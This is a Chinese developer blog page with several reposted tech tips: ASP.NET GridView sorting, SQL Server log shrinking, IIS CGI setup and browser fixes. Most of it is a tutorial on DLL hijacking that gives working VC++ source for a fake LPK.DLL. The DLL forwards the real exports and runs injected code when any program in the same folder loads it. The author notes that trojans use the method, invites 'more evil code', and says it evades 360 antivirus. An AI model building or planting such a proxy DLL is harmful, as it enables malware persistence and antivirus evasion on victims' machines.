用技术改变世界

  博客园 :: 首页 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理 ::
  18 随笔 :: 0 文章 :: 1 评论 :: 0 引用

公告

2012年4月12日 #

后台代码:

using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Data.OleDb;

public partial class _Default : System.Web.UI.Page 
{
    public void Bind()
    {
        OleDbConnection conn = new OleDbConnection();
        conn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + Server.MapPath("abc.mdb");
        string sql = "select * from grade";
        conn.Open();
        OleDbDataAdapter da = new OleDbDataAdapter(sql, conn);
        DataSet ds = new DataSet();
        da.Fill(ds, "grade");
        DataView view = ds.Tables["grade"].DefaultView;
        string sort=(string)ViewState["排序字段"]+" "+(string)ViewState["排序方式"];
        view.Sort = sort;
        GridView1.DataSource = view;
        GridView1.DataBind();
        conn.Close(); 

    }

    protected void Page_Load(object sender, EventArgs e)
    {
        if (!IsPostBack)
        {
            ViewState["排序字段"] = "语文";
            ViewState["排序方式"] = "DESC";
            Bind();
        }
    }
    protected void GridView1_Sorting(object sender, GridViewSortEventArgs e)
    {
        string spage = e.SortExpression;
        if (ViewState["排序字段"].ToString() == spage)
        {
            if (ViewState["排序方式"].ToString() == "DESC")
                ViewState["排序方式"] = "ASC";
            else
                ViewState["排序方式"] = "DESC";
        }
        else
            ViewState["排序字段"] = e.SortExpression;
        Bind();
    }
}

 前台代码:

 

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="_Default" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>无标题页</title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:GridView ID="GridView1" runat="server" AllowSorting="True" AutoGenerateColumns="False"
            OnSorting="GridView1_Sorting">
            <Columns>
                <asp:BoundField DataField="学号" HeaderText="学号" ReadOnly="True" SortExpression="学号" />
                <asp:BoundField DataField="姓名" HeaderText="姓名" SortExpression="姓名" />
                <asp:BoundField DataField="性别" HeaderText="性别" SortExpression="性别" />
                <asp:BoundField DataField="语文" HeaderText="语文" SortExpression="语文" />
                <asp:BoundField DataField="数学" HeaderText="数学" SortExpression="数学" />
                <asp:BoundField DataField="英语" HeaderText="英语" SortExpression="英语" />
                <asp:BoundField DataField="综合" HeaderText="综合" SortExpression="综合" />
            </Columns>
        </asp:GridView>
    
    </div>
    </form>
</body>
</html>
 

 

 原文地址:http://hi.baidu.com/lsm%B5%D8%C5%CC/blog/item/51df8c08d34235226b60fb8e.html

 

posted @ 2012-04-12 10:21 goding 阅读(7) 评论(0) 编辑

2012年4月4日 #

说起DLL劫持技术,相信大家都不会陌生,因为这种技术的应用比较广泛,比如木马后门的启动、破解程序的内存补丁、外挂插件的注入以及加密狗的模拟等。之所以DLL劫持技术深受黑客们的喜爱,主要是因为该技术可以有效的躲过大部分杀软,并且实现起来技术难度不大。DLL劫持技术也不是什么新技术,记得在《Windows核心编程》中也有提及相关技术。可是对我们广大初学者来说,DLL劫持技术就显得很神秘了,本系列教程将向大家详细讲解什么是DLL劫持、DLL劫持的形成原因及原理、最后还会以实例向大家讲解如何通过编程实现DLL劫持。

●背景知识●

首先我们要了解Windows为什么可以DLL劫持呢?主要是因为Windows的资源共享机制。为了尽可能多得安排资源共享,微软建议多个应用程序共享的任何模块应该放在Windows的系统目录中,如kernel32.dll,这样能够方便找到。但是随着时间的推移,安装程序会用旧文件或者未向后兼容的新文件来替换系统目录下的文件,这样会使一些其他的应用程序无法正确执行,因此,微软改变了策略,建议应用程序将所有文件放到自己的目录中去,而不要去碰系统目录下的任何东西。
为了提供这样的功能,在Window2000开始,微软加了一个特性,强制操作系统的加载程序首先从应用程序目录中加载模块,只有当加载程序无法在应用程序目录中找到文件,才搜索其他目录。利用系统的这个特性,就可以使应用程序强制加载我们指定的DLL做一些特殊的工作。
举个例子来说吧,Windows的系统目录下有一个名为LPK.DLL的系统文件,程序运行时会在c:\Windows\system32文件夹下找到这个DLL文件并加载它。如打开记事本程序,用360的进程管理工具可以显示记事本进程加载的所有模块,如图1所示。

图1 记事本加载的所有模块
 
可以看到记事本加载了c:\Windows\system32\LPK.DLL。

●什么是DLL劫持●

根据前面说的Windows资源共享机制,操作系统加载程序首先从应用程序目录中加载模块。这一特性在注册表中也有体现:HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,如果为1,搜索的顺序为:应用程序所在目录->系统目录(用GetSystemDirectory获取)->16位系统目录->Windows目录(用GetWindowsDirectory获取)->运行程序的当前目录->PATH环境变量,如果为0,搜索顺序为:应用程序所在目录->运行程序的当前目录->系统目录(用GetSystemDirectory获取)->16位系统目录->Windows目录(用GetWindowsDirectory获取)->PATH环境变量。Windows Server 2003默认值为1,Windows XP/2000默认值为0或者没有这个键值。但是不管是哪种情况,第一个搜索的肯定是应用程序的所在目录,这样就有机会让应用程序去加载我们的DLL。如果这个DLL和系统目录下的某个DLL同名,导出表也相同,功能就是加载系统目录下的那个DLL,并且将导出表转发到那个真实的DLL。这时DLL劫持就发生了。可以看出,构造一个符合上面要求的DLL,再将其放在可执行文件的目录即可轻松实现DLL劫持了。

●DLL劫持的实现●

这一步我们的工作就是通过编程来实现一个LPK.DLL文件,它与系统目录下的LPK.DLL导出表相同,并能加载系统目录下的LPK.DLL,并且能将导出表转发到真实的LPK.DLL。可以看出我们要实现的这个DLL需求如下:
1、构造一个与系统目录下LPK.DLL一样的导出表;
2、加载系统目录下的LPK.DLL;
3、将导出函数转发到系统目录下的LPK.DLL上;
4、在初始化函数中加入我们要执行的代码。
我们使用VC++来进行开发,首先是定义导出函数。核心代码如下:


#pragma comment(linker, "/EXPORT:LpkInitialize=_gamehacker_LpkInitialize,@1")
#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_gamehacker_LpkTabbedTextOut,@2")
#pragma comment(linker, "/EXPORT:LpkDllInitialize=_gamehacker_LpkDllInitialize,@3")
#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_gamehacker_LpkDrawTextEx,@4")
#pragma comment(linker, "/EXPORT:LpkExtTextOut=_gamehacker_LpkExtTextOut,@6")
#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=
_gamehacker_LpkGetCharacterPlacement,@7")
#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_gamehacker_LpkGetTextExtentExPoint,@8")
#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_gamehacker_LpkPSMTextOut,@9")
#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_gamehacker_LpkUseGDIWidthCache,@10")
#pragma comment(linker, "/EXPORT:ftsWordBreak=_gamehacker_ftsWordBreak,@11")

以上是导出表中的函数,LPK.DLL比较特殊,在导入表中有一项不是函数是数据,因此数据这部分要单独处理。核心代码如下:


EXTERNC void __cdecl gamehacker_LpkEditControl(void);  
EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = {gamehacker_LpkEditControl};  

LpkEditControl这个数组有14个成员,如上定义即可,后面我们还需要将真正的数据复制过来。
加载系统目录下的LPK.DLL。核心代码如下:


 inline BOOL WINAPI Load()
 {
  TCHAR tzPath[MAX_PATH];
  TCHAR tzTemp[MAX_PATH * 2];
  
  GetSystemDirectory(tzPath, MAX_PATH);
  lstrcat(tzPath, TEXT("\\lpk"));
  m_hModule=LoadLibrary(tzPath);  
  return (m_hModule != NULL); 
 }

在代码中可以看到,使用LoadLibrary方式加载系统目录下的LPK.DLL。加载完成后就要实现导出函数的转发了,这步是很关键的。
首先要获得原函数地址。核心代码如下:


 FARPROC WINAPI GetAddress(PCSTR pszProcName)
 {
  FARPROC fpAddress;
  CHAR szProcName[16];
  TCHAR tzTemp[MAX_PATH];
  
  fpAddress = GetProcAddress(m_hModule, pszProcName);  
  return fpAddress;
 }

然后将我们构造的导出函数一一转发。核心代码如下:


ALCDECL gamehacker_LpkInitialize(void)
{
 GetAddress("LpkInitialize");
 __asm JMP EAX;
}

ALCDECL gamehacker_LpkTabbedTextOut(void)
{
 GetAddress("LpkTabbedTextOut");
 __asm JMP EAX;
}

ALCDECL gamehacker_LpkDllInitialize(void)
{
 GetAddress("LpkDllInitialize");
 __asm JMP EAX;
}

ALCDECL gamehacker_LpkDrawTextEx(void)
{
 GetAddress("LpkDrawTextEx");
 __asm JMP EAX;
}

ALCDECL gamehacker_LpkEditControl(void)
{
 GetAddress("LpkEditControl");
 __asm jmp DWORD ptr [EAX];
}

ALCDECL gamehacker_LpkExtTextOut(void)
{
 GetAddress("LpkExtTextOut");
 __asm JMP EAX;
}

ALCDECL gamehacker_LpkGetCharacterPlacement(void)
{
 GetAddress("LpkGetCharacterPlacement");
 __asm JMP EAX;
}

ALCDECL gamehacker_LpkGetTextExtentExPoint(void)
{
 GetAddress("LpkGetTextExtentExPoint");
 __asm JMP EAX;
}

ALCDECL gamehacker_LpkPSMTextOut(void)
{
 GetAddress("LpkPSMTextOut");
 __asm JMP EAX;
}

ALCDECL gamehacker_LpkUseGDIWidthCache(void)
{
 GetAddress("LpkUseGDIWidthCache");
 __asm JMP EAX;
}

ALCDECL gamehacker_ftsWordBreak(void)
{
 GetAddress("ftsWordBreak");
 __asm JMP EAX;
}

转发完之后不要忘记LpkEditControl哦,要将真实数据复制过来。核心代码如下:


 memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);  

好了,到这里整个DLL劫持基本就算完成了,也许你要问,那我们要执行的代码写在哪里?我的方法是将其写到初始化函数中。这样当DLL被加载的时候就会执行。下面看一下DLL的入口函数吧。


BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
 if (dwReason == DLL_PROCESS_ATTACH)
 {
  DisableThreadLibraryCalls(hModule);
  if(Load())
  { 
   memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);  
   _beginthread(Init,NULL,NULL);
  }
  else
   return FALSE;
 }
 else if (dwReason == DLL_PROCESS_DETACH)
 {
  Free();
 }
 return TRUE;
}

在这个函数中我们看到,当加载系统目录下的LPK.DLL成功后,进行了LpkEditControl数组的复制,并通过_beginthread(Init,NULL,NULL);定义了初始化函数Init,而这个初始化函数是由我们控制的。
下面在初始化函数Init中写入测试代码如下:


void WINAPIV Init(LPVOID pParam);
void WINAPIV Init(LPVOID pParam)
{
 TCHAR tzPath[MAX_PATH];
 TCHAR tzTemp[MAX_PATH * 2];
  wsprintf(tzTemp, TEXT("劫持函数运行了......."), tzPath);
   MessageBox(NULL, tzTemp, TEXT("gamehacker"), MB_ICONSTOP);
 return;
}

我们用弹出一个对话框来检测一下劫持的效果,当然你也可以加入更加邪恶的代码。猫癣、犇牛等病毒都是利用DLL劫持技术破坏系统的。
看一下效果。将编译好的LPK.DLL复制到记事本相同目录,然后运行记事本程序。看看是不是弹出来可爱的测试窗? 
当然你也可以将这个LPK.DLL复制到任何程序的目录,只要该目录的程序一运行,就会执行我们的代码。如果代码的功能是连续弹出N个测试窗,我想一定会让人很崩溃。
DLL劫持技术的基本原理和简单实现就讲到这里了。在测试的时候发现360安全卫士并没有拦截我们的代码,看来利用DLL劫持是可以过360检测的。

 

原文地址:http://www.xiajc.com/article/html/344.html

posted @ 2012-04-04 14:56 goding 阅读(67) 评论(0) 编辑

2012年3月22日 #

1.清空日志:DUMP   TRANSACTION   databasename   WITH   NO_LOG  

2.截断事务日志:BACKUP   LOG   databasename   WITH   NO_LOG

3.再打开企业管理器--右键你要压缩的数据库--所有任务--收缩数据库--收缩文件--选择日志文件--在收缩方式里选择收缩至XXM,这里会给出一个允许收缩到的最小M数,直接输入这个数,确定就可以了

posted @ 2012-03-22 18:50 goding 阅读(8) 评论(0) 编辑

2011年12月26日 #

模版中用: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
但是在ie6下面却变成了: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">,很多css显示不正常

解决办法:

在顶部添加XML宣言,例如:<?xml version="1.0" encoding="UTF-8"?>

 

原文地址:http://topic.csdn.net/u/20080916/22/b2880eef-de0b-4835-a9a9-03a8144b68eb.html

posted @ 2011-12-26 16:01 goding 阅读(25) 评论(0) 编辑

2011年12月17日 #

IIS6上配置CGI有两个要点:

  1. 在 Internet信息服务 -> Web服务扩展(简称WSE, Web Service Extension) -> 右键 添加一个新的Web服务扩展 -> 添加一个exe作为CGI的宿主程序。
  2. 在一个网站下 右键 属性 -> 主目录 -> 配置 -> -> 映射 -> 添加 -> 输入CGI的扩展名和命令行。

原文地址:http://initiative.yo2.cn/archives/358768

posted @ 2011-12-17 13:19 goding 阅读(10) 评论(0) 编辑

2011年11月8日 #

摘要: IE:document.frames("Iframe_ID");FF: document.frames("Iframe_ID") : document.getElementById("ifr_1").contentWindow;IE和FF都兼容的方法:var ifr = document.frames ? document.frames("ifr_1") : document.getElementById("ifr_1").contentWindow;原文地址:http://hi.baidu.c阅读全文
posted @ 2011-11-08 16:11 goding 阅读(13) 评论(0) 编辑

2011年11月3日 #

摘要: 启动MSSQL SERVER 2008,选择菜单 工具-〉选项-〉左侧有个 设计器-〉表设计器和数据库设计器。然后去掉“ 阻止保存要求重新创建表的更改”前面的勾。重新启动MSSQL SERVER 2008即可。如下图所示:原文地址:http://www.herecn.com/info-gA14E53CBF1044D628FCE84EADD483B9D.htm阅读全文
posted @ 2011-11-03 09:52 goding 阅读(10) 评论(0) 编辑

2011年10月27日 #

摘要: 有时候远程桌面连接上以后,在我的电脑里面看不得客户端的本地磁盘,解决办法就是直接在地址栏上面输入 \\tsclient\盘符 ,就可以直接访问本地的磁盘了阅读全文
posted @ 2011-10-27 12:50 goding 阅读(47) 评论(0) 编辑

2011年10月11日 #

摘要: html,body{overflow:hidden;}html{}主要针对IE6,FF和IE7设置body overflow属性为hidden即可。同时亦可通过scroll属性禁用滚动条。将窗口滚动条禁用,而不是隐藏。但是通过JS控制scroll属性时,在IE6可能会失效~···所以建议还是使用overflow实现来隐藏滚动条。原文地址:http://omiga.org/blog/archives/64阅读全文
posted @ 2011-10-11 22:12 goding 阅读(12) 评论(0) 编辑

2011年9月13日 #

摘要: 由于Win R2 是64位系统。在用IIS测试ASP网站时,连接数据库代码总是不成功。 "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.mappath(db) 用这种方式时返回“3706”错误值。"Driver=Microsoft Access Driver (*.mdb);DBQ="&Server.MapPath(db) 用这种方式时返回“-2147467259”错误值。因为Win2008 R2 是64位操作系統。而64位操作系统不支持Microsoft OLE DB Pro阅读全文
posted @ 2011-09-13 22:51 goding 阅读(128) 评论(0) 编辑

仅列出标题  下一页